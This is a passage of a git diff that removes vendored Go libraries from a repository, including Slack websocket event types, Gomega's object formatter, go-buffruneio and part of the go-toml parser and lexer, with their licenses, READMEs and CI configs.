ReactionAddedEvent represents the Reaction added event -type ReactionAddedEvent reactionEvent - -// ReactionRemovedEvent represents the Reaction removed event -type ReactionRemovedEvent reactionEvent diff --git a/vendor/github.com/nlopes/slack/websocket_stars.go b/vendor/github.com/nlopes/slack/websocket_stars.go deleted file mode 100644 index e0f2dda3d6..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_stars.go +++ /dev/null @@ -1,14 +0,0 @@ -package slack - -type starEvent struct { - Type string `json:"type"` - User string `json:"user"` - Item StarredItem `json:"item"` - EventTimestamp string `json:"event_ts"` -} - -// StarAddedEvent represents the Star added event -type StarAddedEvent starEvent - -// StarRemovedEvent represents the Star removed event -type StarRemovedEvent starEvent diff --git a/vendor/github.com/nlopes/slack/websocket_teams.go b/vendor/github.com/nlopes/slack/websocket_teams.go deleted file mode 100644 index 3898c8336f..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_teams.go +++ /dev/null @@ -1,33 +0,0 @@ -package slack - -// TeamJoinEvent represents the Team join event -type TeamJoinEvent struct { - Type string `json:"type"` - User User `json:"user"` -} - -// TeamRenameEvent represents the Team rename event -type TeamRenameEvent struct { - Type string `json:"type"` - Name string `json:"name,omitempty"` - EventTimestamp string `json:"event_ts,omitempty"` -} - -// TeamPrefChangeEvent represents the Team preference change event -type TeamPrefChangeEvent struct { - Type string `json:"type"` - Name string `json:"name,omitempty"` - Value []string `json:"value,omitempty"` -} - -// TeamDomainChangeEvent represents the Team domain change event -type TeamDomainChangeEvent struct { - Type string `json:"type"` - URL string `json:"url"` - Domain string `json:"domain"` -} - -// TeamMigrationStartedEvent represents the Team migration started event -type TeamMigrationStartedEvent struct { - Type string `json:"type"` -} diff --git a/vendor/github.com/nlopes/slack/websocket_utils.go b/vendor/github.com/nlopes/slack/websocket_utils.go deleted file mode 100644 index b3d0ec8982..0000000000 --- a/vendor/github.com/nlopes/slack/websocket_utils.go +++ /dev/null @@ -1,20 +0,0 @@ -package slack - -import ( - "net" - "net/url" -) - -var portMapping = map[string]string{"ws": "80", "wss": "443"} - -func websocketizeURLPort(orig string) (string, error) { - urlObj, err := url.ParseRequestURI(orig) - if err != nil { - return "", err - } - _, _, err = net.SplitHostPort(urlObj.Host) - if err != nil { - return urlObj.Scheme + "://" + urlObj.Host + ":" + portMapping[urlObj.Scheme] + urlObj.Path, nil - } - return orig, nil -} diff --git a/vendor/github.com/onsi/gomega/LICENSE b/vendor/github.com/onsi/gomega/LICENSE deleted file mode 100644 index 9415ee72c1..0000000000 --- a/vendor/github.com/onsi/gomega/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2013-2014 Onsi Fakhouri - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/onsi/gomega/format/format.go b/vendor/github.com/onsi/gomega/format/format.go deleted file mode 100644 index 6559525f1c..0000000000 --- a/vendor/github.com/onsi/gomega/format/format.go +++ /dev/null @@ -1,382 +0,0 @@ -/* -Gomega's format package pretty-prints objects. It explores input objects recursively and generates formatted, indented output with type information. -*/ -package format - -import ( - "fmt" - "reflect" - "strconv" - "strings" - "time" -) - -// Use MaxDepth to set the maximum recursion depth when printing deeply nested objects -var MaxDepth = uint(10) - -/* -By default, all objects (even those that implement fmt.Stringer and fmt.GoStringer) are recursively inspected to generate output. - -Set UseStringerRepresentation = true to use GoString (for fmt.GoStringers) or String (for fmt.Stringer) instead. - -Note that GoString and String don't always have all the information you need to understand why a test failed! -*/ -var UseStringerRepresentation = false - -/* -Print the content of context objects. By default it will be suppressed. - -Set PrintContextObjects = true to enable printing of the context internals. -*/ -var PrintContextObjects = false - -// TruncatedDiff choose if we should display a truncated pretty diff or not -var TruncatedDiff = true - -// Ctx interface defined here to keep backwards compatability with go < 1.7 -// It matches the context.Context interface -type Ctx interface { - Deadline() (deadline time.Time, ok bool) - Done() <-chan struct{} - Err() error - Value(key interface{}) interface{} -} - -var contextType = reflect.TypeOf((*Ctx)(nil)).Elem() -var timeType = reflect.TypeOf(time.Time{}) - -//The default indentation string emitted by the format package -var Indent = " " - -var longFormThreshold = 20 - -/* -Generates a formatted matcher success/failure message of the form: - - Expected - - - - -If expected is omited, then the message looks like: - - Expected - - -*/ -func Message(actual interface{}, message string, expected ...interface{}) string { - if len(expected) == 0 { - return fmt.Sprintf("Expected\n%s\n%s", Object(actual, 1), message) - } - return fmt.Sprintf("Expected\n%s\n%s\n%s", Object(actual, 1), message, Object(expected[0], 1)) -} - -/* - -Generates a nicely formatted matcher success / failure message - -Much like Message(...), but it attempts to pretty print diffs in strings - -Expected - : "...aaaaabaaaaa..." -to equal | - : "...aaaaazaaaaa..." - -*/ - -func MessageWithDiff(actual, message, expected string) string { - if TruncatedDiff && len(actual) >= truncateThreshold && len(expected) >= truncateThreshold { - diffPoint := findFirstMismatch(actual, expected) - formattedActual := truncateAndFormat(actual, diffPoint) - formattedExpected := truncateAndFormat(expected, diffPoint) - - spacesBeforeFormattedMismatch := findFirstMismatch(formattedActual, formattedExpected) - - tabLength := 4 - spaceFromMessageToActual := tabLength + len(": ") - len(message) - padding := strings.Repeat(" ", spaceFromMessageToActual+spacesBeforeFormattedMismatch) + "|" - return Message(formattedActual, message+padding, formattedExpected) - } - return Message(actual, message, expected) -} - -func truncateAndFormat(str string, index int) string { - leftPadding := `...` - rightPadding := `...` - - start := index - charactersAroundMismatchToInclude - if start < 0 { - start = 0 - leftPadding = "" - } - - // slice index must include the mis-matched character - lengthOfMismatchedCharacter := 1 - end := index + charactersAroundMismatchToInclude + lengthOfMismatchedCharacter - if end > len(str) { - end = len(str) - rightPadding = "" - - } - return fmt.Sprintf("\"%s\"", leftPadding+str[start:end]+rightPadding) -} - -func findFirstMismatch(a, b string) int { - aSlice := strings.Split(a, "") - bSlice := strings.Split(b, "") - - for index, str := range aSlice { - if index > len(bSlice)-1 { - return index - } - if str != bSlice[index] { - return index - } - } - - if len(b) > len(a) { - return len(a) + 1 - } - - return 0 -} - -const ( - truncateThreshold = 50 - charactersAroundMismatchToInclude = 5 -) - -/* -Pretty prints the passed in object at the passed in indentation level. - -Object recurses into deeply nested objects emitting pretty-printed representations of their components. - -Modify format.MaxDepth to control how deep the recursion is allowed to go -Set format.UseStringerRepresentation to true to return object.GoString() or object.String() when available instead of -recursing into the object. - -Set PrintContextObjects to true to print the content of objects implementing context.Context -*/ -func Object(object interface{}, indentation uint) string { - indent := strings.Repeat(Indent, int(indentation)) - value := reflect.ValueOf(object) - return fmt.Sprintf("%s<%s>: %s", indent, formatType(object), formatValue(value, indentation)) -} - -/* -IndentString takes a string and indents each line by the specified amount. -*/ -func IndentString(s string, indentation uint) string { - components := strings.Split(s, "\n") - result := "" - indent := strings.Repeat(Indent, int(indentation)) - for i, component := range components { - result += indent + component - if i < len(components)-1 { - result += "\n" - } - } - - return result -} - -func formatType(object interface{}) string { - t := reflect.TypeOf(object) - if t == nil { - return "nil" - } - switch t.Kind() { - case reflect.Chan: - v := reflect.ValueOf(object) - return fmt.Sprintf("%T | len:%d, cap:%d", object, v.Len(), v.Cap()) - case reflect.Ptr: - return fmt.Sprintf("%T | %p", object, object) - case reflect.Slice: - v := reflect.ValueOf(object) - return fmt.Sprintf("%T | len:%d, cap:%d", object, v.Len(), v.Cap()) - case reflect.Map: - v := reflect.ValueOf(object) - return fmt.Sprintf("%T | len:%d", object, v.Len()) - default: - return fmt.Sprintf("%T", object) - } -} - -func formatValue(value reflect.Value, indentation uint) string { - if indentation > MaxDepth { - return "..." - } - - if isNilValue(value) { - return "nil" - } - - if UseStringerRepresentation { - if value.CanInterface() { - obj := value.Interface() - switch x := obj.(type) { - case fmt.GoStringer: - return x.GoString() - case fmt.Stringer: - return x.String() - } - } - } - - if !PrintContextObjects { - if value.Type().Implements(contextType) && indentation > 1 { - return "" - } - } - - switch value.Kind() { - case reflect.Bool: - return fmt.Sprintf("%v", value.Bool()) - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return fmt.Sprintf("%v", value.Int()) - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return fmt.Sprintf("%v", value.Uint()) - case reflect.Uintptr: - return fmt.Sprintf("0x%x", value.Uint()) - case reflect.Float32, reflect.Float64: - return fmt.Sprintf("%v", value.Float()) - case reflect.Complex64, reflect.Complex128: - return fmt.Sprintf("%v", value.Complex()) - case reflect.Chan: - return fmt.Sprintf("0x%x", value.Pointer()) - case reflect.Func: - return fmt.Sprintf("0x%x", value.Pointer()) - case reflect.Ptr: - return formatValue(value.Elem(), indentation) - case reflect.Slice: - return formatSlice(value, indentation) - case reflect.String: - return formatString(value.String(), indentation) - case reflect.Array: - return formatSlice(value, indentation) - case reflect.Map: - return formatMap(value, indentation) - case reflect.Struct: - if value.Type() == timeType && value.CanInterface() { - t, _ := value.Interface().(time.Time) - return t.Format(time.RFC3339Nano) - } - return formatStruct(value, indentation) - case reflect.Interface: - return formatValue(value.Elem(), indentation) - default: - if value.CanInterface() { - return fmt.Sprintf("%#v", value.Interface()) - } - return fmt.Sprintf("%#v", value) - } -} - -func formatString(object interface{}, indentation uint) string { - if indentation == 1 { - s := fmt.Sprintf("%s", object) - components := strings.Split(s, "\n") - result := "" - for i, component := range components { - if i == 0 { - result += component - } else { - result += Indent + component - } - if i < len(components)-1 { - result += "\n" - } - } - - return fmt.Sprintf("%s", result) - } else { - return fmt.Sprintf("%q", object) - } -} - -func formatSlice(v reflect.Value, indentation uint) string { - if v.Kind() == reflect.Slice && v.Type().Elem().Kind() == reflect.Uint8 && isPrintableString(string(v.Bytes())) { - return formatString(v.Bytes(), indentation) - } - - l := v.Len() - result := make([]string, l) - longest := 0 - for i := 0; i < l; i++ { - result[i] = formatValue(v.Index(i), indentation+1) - if len(result[i]) > longest { - longest = len(result[i]) - } - } - - if longest > longFormThreshold { - indenter := strings.Repeat(Indent, int(indentation)) - return fmt.Sprintf("[\n%s%s,\n%s]", indenter+Indent, strings.Join(result, ",\n"+indenter+Indent), indenter) - } - return fmt.Sprintf("[%s]", strings.Join(result, ", ")) -} - -func formatMap(v reflect.Value, indentation uint) string { - l := v.Len() - result := make([]string, l) - - longest := 0 - for i, key := range v.MapKeys() { - value := v.MapIndex(key) - result[i] = fmt.Sprintf("%s: %s", formatValue(key, indentation+1), formatValue(value, indentation+1)) - if len(result[i]) > longest { - longest = len(result[i]) - } - } - - if longest > longFormThreshold { - indenter := strings.Repeat(Indent, int(indentation)) - return fmt.Sprintf("{\n%s%s,\n%s}", indenter+Indent, strings.Join(result, ",\n"+indenter+Indent), indenter) - } - return fmt.Sprintf("{%s}", strings.Join(result, ", ")) -} - -func formatStruct(v reflect.Value, indentation uint) string { - t := v.Type() - - l := v.NumField() - result := []string{} - longest := 0 - for i := 0; i < l; i++ { - structField := t.Field(i) - fieldEntry := v.Field(i) - representation := fmt.Sprintf("%s: %s", structField.Name, formatValue(fieldEntry, indentation+1)) - result = append(result, representation) - if len(representation) > longest { - longest = len(representation) - } - } - if longest > longFormThreshold { - indenter := strings.Repeat(Indent, int(indentation)) - return fmt.Sprintf("{\n%s%s,\n%s}", indenter+Indent, strings.Join(result, ",\n"+indenter+Indent), indenter) - } - return fmt.Sprintf("{%s}", strings.Join(result, ", ")) -} - -func isNilValue(a reflect.Value) bool { - switch a.Kind() { - case reflect.Invalid: - return true - case reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, reflect.Ptr, reflect.Slice: - return a.IsNil() - } - - return false -} - -/* -Returns true when the string is entirely made of printable runes, false otherwise. -*/ -func isPrintableString(str string) bool { - for _, runeValue := range str { - if !strconv.IsPrint(runeValue) { - return false - } - } - return true -} diff --git a/vendor/github.com/pelletier/go-buffruneio/.gitignore b/vendor/github.com/pelletier/go-buffruneio/.gitignore deleted file mode 100644 index c56069fe26..0000000000 --- a/vendor/github.com/pelletier/go-buffruneio/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.test \ No newline at end of file diff --git a/vendor/github.com/pelletier/go-buffruneio/.travis.yml b/vendor/github.com/pelletier/go-buffruneio/.travis.yml deleted file mode 100644 index 9720442cd8..0000000000 --- a/vendor/github.com/pelletier/go-buffruneio/.travis.yml +++ /dev/null @@ -1,7 +0,0 @@ -language: go -sudo: false -go: - - 1.3.3 - - 1.4.3 - - 1.5.3 - - tip diff --git a/vendor/github.com/pelletier/go-buffruneio/README.md b/vendor/github.com/pelletier/go-buffruneio/README.md deleted file mode 100644 index ff608b3ab8..0000000000 --- a/vendor/github.com/pelletier/go-buffruneio/README.md +++ /dev/null @@ -1,62 +0,0 @@ -# buffruneio - -[![Tests Status](https://travis-ci.org/pelletier/go-buffruneio.svg?branch=master)](https://travis-ci.org/pelletier/go-buffruneio) -[![GoDoc](https://godoc.org/github.com/pelletier/go-buffruneio?status.svg)](https://godoc.org/github.com/pelletier/go-buffruneio) - -Buffruneio is a wrapper around bufio to provide buffered runes access with -unlimited unreads. - -```go -import "github.com/pelletier/go-buffruneio" -``` - -## Examples - -```go -import ( - "fmt" - "github.com/pelletier/go-buffruneio" - "strings" -) - -reader := buffruneio.NewReader(strings.NewReader("abcd")) -fmt.Println(reader.ReadRune()) // 'a' -fmt.Println(reader.ReadRune()) // 'b' -fmt.Println(reader.ReadRune()) // 'c' -reader.UnreadRune() -reader.UnreadRune() -fmt.Println(reader.ReadRune()) // 'b' -fmt.Println(reader.ReadRune()) // 'c' -``` - -## Documentation - -The documentation and additional examples are available at -[godoc.org](http://godoc.org/github.com/pelletier/go-buffruneio). - -## Contribute - -Feel free to report bugs and patches using GitHub's pull requests system on -[pelletier/go-toml](https://github.com/pelletier/go-buffruneio). Any feedback is -much appreciated! - -## LICENSE - -Copyright (c) 2016 Thomas Pelletier - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/pelletier/go-buffruneio/buffruneio.go b/vendor/github.com/pelletier/go-buffruneio/buffruneio.go deleted file mode 100644 index 4e6d6ea610..0000000000 --- a/vendor/github.com/pelletier/go-buffruneio/buffruneio.go +++ /dev/null @@ -1,117 +0,0 @@ -// Package buffruneio is a wrapper around bufio to provide buffered runes access with unlimited unreads. -package buffruneio - -import ( - "bufio" - "container/list" - "errors" - "io" -) - -// Rune to indicate end of file. -const ( - EOF = -(iota + 1) -) - -// ErrNoRuneToUnread is returned by UnreadRune() when the read index is already at the beginning of the buffer. -var ErrNoRuneToUnread = errors.New("no rune to unwind") - -// Reader implements runes buffering for an io.Reader object. -type Reader struct { - buffer *list.List - current *list.Element - input *bufio.Reader -} - -// NewReader returns a new Reader. -func NewReader(rd io.Reader) *Reader { - return &Reader{ - buffer: list.New(), - input: bufio.NewReader(rd), - } -} - -type runeWithSize struct { - r rune - size int -} - -func (rd *Reader) feedBuffer() error { - r, size, err := rd.input.ReadRune() - - if err != nil { - if err != io.EOF { - return err - } - r = EOF - } - - newRuneWithSize := runeWithSize{r, size} - - rd.buffer.PushBack(newRuneWithSize) - if rd.current == nil { - rd.current = rd.buffer.Back() - } - return nil -} - -// ReadRune reads the next rune from buffer, or from the underlying reader if needed. -func (rd *Reader) ReadRune() (rune, int, error) { - if rd.current == rd.buffer.Back() || rd.current == nil { - err := rd.feedBuffer() - if err != nil { - return EOF, 0, err - } - } - - runeWithSize := rd.current.Value.(runeWithSize) - rd.current = rd.current.Next() - return runeWithSize.r, runeWithSize.size, nil -} - -// UnreadRune pushes back the previously read rune in the buffer, extending it if needed. -func (rd *Reader) UnreadRune() error { - if rd.current == rd.buffer.Front() { - return ErrNoRuneToUnread - } - if rd.current == nil { - rd.current = rd.buffer.Back() - } else { - rd.current = rd.current.Prev() - } - return nil -} - -// Forget removes runes stored before the current stream position index. -func (rd *Reader) Forget() { - if rd.current == nil { - rd.current = rd.buffer.Back() - } - for ; rd.current != rd.buffer.Front(); rd.buffer.Remove(rd.current.Prev()) { - } -} - -// PeekRune returns at most the next n runes, reading from the uderlying source if -// needed. Does not move the current index. It includes EOF if reached. -func (rd *Reader) PeekRunes(n int) []rune { - res := make([]rune, 0, n) - cursor := rd.current - for i := 0; i < n; i++ { - if cursor == nil { - err := rd.feedBuffer() - if err != nil { - return res - } - cursor = rd.buffer.Back() - } - if cursor != nil { - r := cursor.Value.(runeWithSize).r - res = append(res, r) - if r == EOF { - return res - } - cursor = cursor.Next() - } - } - return res -} diff --git a/vendor/github.com/pelletier/go-toml/.gitignore b/vendor/github.com/pelletier/go-toml/.gitignore deleted file mode 100644 index f1b619018e..0000000000 --- a/vendor/github.com/pelletier/go-toml/.gitignore +++ /dev/null @@ -1 +0,0 @@ -test_program/test_program_bin diff --git a/vendor/github.com/pelletier/go-toml/.travis.yml b/vendor/github.com/pelletier/go-toml/.travis.yml deleted file mode 100644 index 64f03809a1..0000000000 --- a/vendor/github.com/pelletier/go-toml/.travis.yml +++ /dev/null @@ -1,21 +0,0 @@ -sudo: false -language: go -go: - - 1.6.4 - - 1.7.5 - - 1.8 - - tip -matrix: - allow_failures: - - go: tip - fast_finish: true -script: - - ./test.sh -before_install: - - go get github.com/axw/gocov/gocov - - go get github.com/mattn/goveralls - - if ! go get code.google.com/p/go.tools/cmd/cover; then go get golang.org/x/tools/cmd/cover; fi -branches: - only: [master] -after_success: - - $HOME/gopath/bin/goveralls -service=travis-ci -coverprofile=coverage.out -repotoken $COVERALLS_TOKEN diff --git a/vendor/github.com/pelletier/go-toml/LICENSE b/vendor/github.com/pelletier/go-toml/LICENSE deleted file mode 100644 index 583bdae628..0000000000 --- a/vendor/github.com/pelletier/go-toml/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 - 2017 Thomas Pelletier, Eric Anderton - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/pelletier/go-toml/README.md b/vendor/github.com/pelletier/go-toml/README.md deleted file mode 100644 index 22da41a81e..0000000000 --- a/vendor/github.com/pelletier/go-toml/README.md +++ /dev/null @@ -1,118 +0,0 @@ -# go-toml - -Go library for the [TOML](https://github.com/mojombo/toml) format. - -This library supports TOML version -[v0.4.0](https://github.com/toml-lang/toml/blob/master/versions/en/toml-v0.4.0.md) - -[![GoDoc](https://godoc.org/github.com/pelletier/go-toml?status.svg)](http://godoc.org/github.com/pelletier/go-toml) -[![license](https://img.shields.io/github/license/pelletier/go-toml.svg)](https://github.com/pelletier/go-toml/blob/master/LICENSE) -[![Build Status](https://travis-ci.org/pelletier/go-toml.svg?branch=master)](https://travis-ci.org/pelletier/go-toml) -[![Coverage Status](https://coveralls.io/repos/github/pelletier/go-toml/badge.svg?branch=master)](https://coveralls.io/github/pelletier/go-toml?branch=master) -[![Go Report Card](https://goreportcard.com/badge/github.com/pelletier/go-toml)](https://goreportcard.com/report/github.com/pelletier/go-toml) - -## Features - -Go-toml provides the following features for using data parsed from TOML documents: - -* Load TOML documents from files and string data -* Easily navigate TOML structure using Tree -* Mashaling and unmarshaling to and from data structures -* Line & column position data for all parsed elements -* [Query support similar to JSON-Path](query/) -* Syntax errors contain line and column numbers - -## Import - -```go -import "github.com/pelletier/go-toml" -``` - -## Usage example - -Read a TOML document: - -```go -config, _ := toml.LoadString(` -[postgres] -user = "pelletier" -password = "mypassword"`) -// retrieve data directly -user := config.Get("postgres.user").(string) - -// or using an intermediate object -postgresConfig := config.Get("postgres").(*toml.Tree) -password = postgresConfig.Get("password").(string) -``` - -Or use Unmarshal: - -```go -type Postgres struct { - User string - Password string -} -type Config struct { - Postgres Postgres -} - -doc := []byte(` -[postgres] -user = "pelletier" -password = "mypassword"`) - -config := Config{} -Unmarshal(doc, &config) -fmt.Println("user=", config.Postgres.User) -``` - -Or use a query: - -```go -// use a query to gather elements without walking the tree -results, _ := config.Query("$..[user,password]") -for ii, item := range results.Values() { - fmt.Println("Query result %d: %v", ii, item) -} -``` - -## Documentation - -The documentation and additional examples are available at -[godoc.org](http://godoc.org/github.com/pelletier/go-toml). - -## Tools - -Go-toml provides two handy command line tools: - -* `tomll`: Reads TOML files and lint them. - - ``` - go install github.com/pelletier/go-toml/cmd/tomll - tomll --help - ``` -* `tomljson`: Reads a TOML file and outputs its JSON representation. - - ``` - go install github.com/pelletier/go-toml/cmd/tomljson - tomljson --help - ``` - -## Contribute - -Feel free to report bugs and patches using GitHub's pull requests system on -[pelletier/go-toml](https://github.com/pelletier/go-toml). Any feedback would be -much appreciated! - -### Run tests - -You have to make sure two kind of tests run: - -1. The Go unit tests -2. The TOML examples base - -You can run both of them using `./test.sh`. - -## License - -The MIT License (MIT). Read [LICENSE](LICENSE). diff --git a/vendor/github.com/pelletier/go-toml/doc.go b/vendor/github.com/pelletier/go-toml/doc.go deleted file mode 100644 index 3c89619e8a..0000000000 --- a/vendor/github.com/pelletier/go-toml/doc.go +++ /dev/null @@ -1,23 +0,0 @@ -// Package toml is a TOML parser and manipulation library. -// -// This version supports the specification as described in -// https://github.com/toml-lang/toml/blob/master/versions/en/toml-v0.4.0.md -// -// Marshaling -// -// Go-toml can marshal and unmarshal TOML documents from and to data -// structures. -// -// TOML document as a tree -// -// Go-toml can operate on a TOML document as a tree. Use one of the Load* -// functions to parse TOML data and obtain a Tree instance, then one of its -// methods to manipulate the tree. -// -// JSONPath-like queries -// -// The package github.com/pelletier/go-toml/query implements a system -// similar to JSONPath to quickly retrive elements of a TOML document using a -// single expression. See the package documentation for more information. -// -package toml diff --git a/vendor/github.com/pelletier/go-toml/example-crlf.toml b/vendor/github.com/pelletier/go-toml/example-crlf.toml deleted file mode 100644 index 12950a163d..0000000000 --- a/vendor/github.com/pelletier/go-toml/example-crlf.toml +++ /dev/null @@ -1,29 +0,0 @@ -# This is a TOML document. Boom. - -title = "TOML Example" - -[owner] -name = "Tom Preston-Werner" -organization = "GitHub" -bio = "GitHub Cofounder & CEO\nLikes tater tots and beer." -dob = 1979-05-27T07:32:00Z # First class dates? Why not? - -[database] -server = "192.168.1.1" -ports = [ 8001, 8001, 8002 ] -connection_max = 5000 -enabled = true - -[servers] - - # You can indent as you please. Tabs or spaces. TOML don't care. - [servers.alpha] - ip = "10.0.0.1" - dc = "eqdc10" - - [servers.beta] - ip = "10.0.0.2" - dc = "eqdc10" - -[clients] -data = [ ["gamma", "delta"], [1, 2] ] # just an update to make sure parsers support it diff --git a/vendor/github.com/pelletier/go-toml/example.toml b/vendor/github.com/pelletier/go-toml/example.toml deleted file mode 100644 index 3d902f2820..0000000000 --- a/vendor/github.com/pelletier/go-toml/example.toml +++ /dev/null @@ -1,29 +0,0 @@ -# This is a TOML document. Boom. - -title = "TOML Example" - -[owner] -name = "Tom Preston-Werner" -organization = "GitHub" -bio = "GitHub Cofounder & CEO\nLikes tater tots and beer." -dob = 1979-05-27T07:32:00Z # First class dates? Why not? - -[database] -server = "192.168.1.1" -ports = [ 8001, 8001, 8002 ] -connection_max = 5000 -enabled = true - -[servers] - - # You can indent as you please. Tabs or spaces. TOML don't care. - [servers.alpha] - ip = "10.0.0.1" - dc = "eqdc10" - - [servers.beta] - ip = "10.0.0.2" - dc = "eqdc10" - -[clients] -data = [ ["gamma", "delta"], [1, 2] ] # just an update to make sure parsers support it diff --git a/vendor/github.com/pelletier/go-toml/keysparsing.go b/vendor/github.com/pelletier/go-toml/keysparsing.go deleted file mode 100644 index d62ca5fd1d..0000000000 --- a/vendor/github.com/pelletier/go-toml/keysparsing.go +++ /dev/null @@ -1,94 +0,0 @@ -// Parsing keys handling both bare and quoted keys. - -package toml - -import ( - "bytes" - "errors" - "fmt" - "unicode" -) - -func parseKey(key string) ([]string, error) { - groups := []string{} - var buffer bytes.Buffer - inQuotes := false - wasInQuotes := false - escapeNext := false - ignoreSpace := true - expectDot := false - - for _, char := range key { - if ignoreSpace { - if char == ' ' { - continue - } - ignoreSpace = false - } - if escapeNext { - buffer.WriteRune(char) - escapeNext = false - continue - } - switch char { - case '\\': - escapeNext = true - continue - case '"': - if inQuotes { - groups = append(groups, buffer.String()) - buffer.Reset() - wasInQuotes = true - } - inQuotes = !inQuotes - expectDot = false - case '.': - if inQuotes { - buffer.WriteRune(char) - } else { - if !wasInQuotes { - if buffer.Len() == 0 { - return nil, errors.New("empty table key") - } - groups = append(groups, buffer.String()) - buffer.Reset() - } - ignoreSpace = true - expectDot = false - wasInQuotes = false - } - case ' ': - if inQuotes { - buffer.WriteRune(char) - } else { - expectDot = true - } - default: - if !inQuotes && !isValidBareChar(char) { - return nil, fmt.Errorf("invalid bare character: %c", char) - } - if !inQuotes && expectDot { - return nil, errors.New("what?") - } - buffer.WriteRune(char) - expectDot = false - } - } - if inQuotes { - return nil, errors.New("mismatched quotes") - } - if escapeNext { - return nil, errors.New("unfinished escape sequence") - } - if buffer.Len() > 0 { - groups = append(groups, buffer.String()) - } - if len(groups) == 0 { - return nil, errors.New("empty key") - } - return groups, nil -} - -func isValidBareChar(r rune) bool { - return isAlphanumeric(r) || r == '-' || unicode.IsNumber(r) -} diff --git a/vendor/github.com/pelletier/go-toml/lexer.go b/vendor/github.com/pelletier/go-toml/lexer.go deleted file mode 100644 index db3ab4e540..0000000000 --- a/vendor/github.com/pelletier/go-toml/lexer.go +++ /dev/null @@ -1,658 +0,0 @@ -// TOML lexer. -// -// Written using the principles developed by Rob Pike in -// http://www.youtube.com/watch?v=HxaD_trXwRE - -package toml - -import ( - "bytes" - "errors" - "fmt" - "io" - "regexp" - "strconv" - "strings" - - "github.com/pelletier/go-buffruneio" -) - -var dateRegexp *regexp.Regexp - -// Define state functions -type tomlLexStateFn func() tomlLexStateFn - -// Define lexer -type tomlLexer struct { - input *buffruneio.Reader // Textual source - buffer bytes.Buffer // Runes composing the current token - tokens chan token - depth int - line int - col int - endbufferLine int - endbufferCol int -} - -// Basic read operations on input - -func (l *tomlLexer) read() rune { - r, _, err := l.input.ReadRune() - if err != nil { - panic(err) - } - if r == '\n' { - l.endbufferLine++ - l.endbufferCol = 1 - } else { - l.endbufferCol++ - } - return r -} - -func (l *tomlLexer) next() rune { - r := l.read() - - if r != eof { - l.buffer.WriteRune(r) - } - return r -} - -func (l *tomlLexer) ignore() { - l.buffer.Reset() - l.line = l.endbufferLine - l.col = l.endbufferCol -} - -func (l *tomlLexer) skip() { - l.next() - l.ignore() -} - -func (l *tomlLexer) fastForward(n int) { - for i := 0; i < n; i++ { - l.next() - } -} - -func (l *tomlLexer) emitWithValue(t tokenType, value string) { - l.tokens <- token{ - Position: Position{l.line, l.col}, - typ: t, - val: value, - } - l.ignore() -} - -func (l *tomlLexer) emit(t tokenType) { - l.emitWithValue(t, l.buffer.String()) -} - -func (l *tomlLexer) peek() rune { - r, _, err := l.input.ReadRune() - if err != nil { - panic(err) - } - l.input.UnreadRune() - return r -} - -func (l *tomlLexer) follow(next string) bool { - for _, expectedRune := range next { - r, _, err := l.input.ReadRune() - defer l.input.UnreadRune() - if err != nil { - panic(err) - } - if expectedRune != r { - return false - } - } - return true -} - -// Error management - -func (l *tomlLexer) errorf(format string, args ...interface{}) tomlLexStateFn { - l.tokens <- token{ - Position: 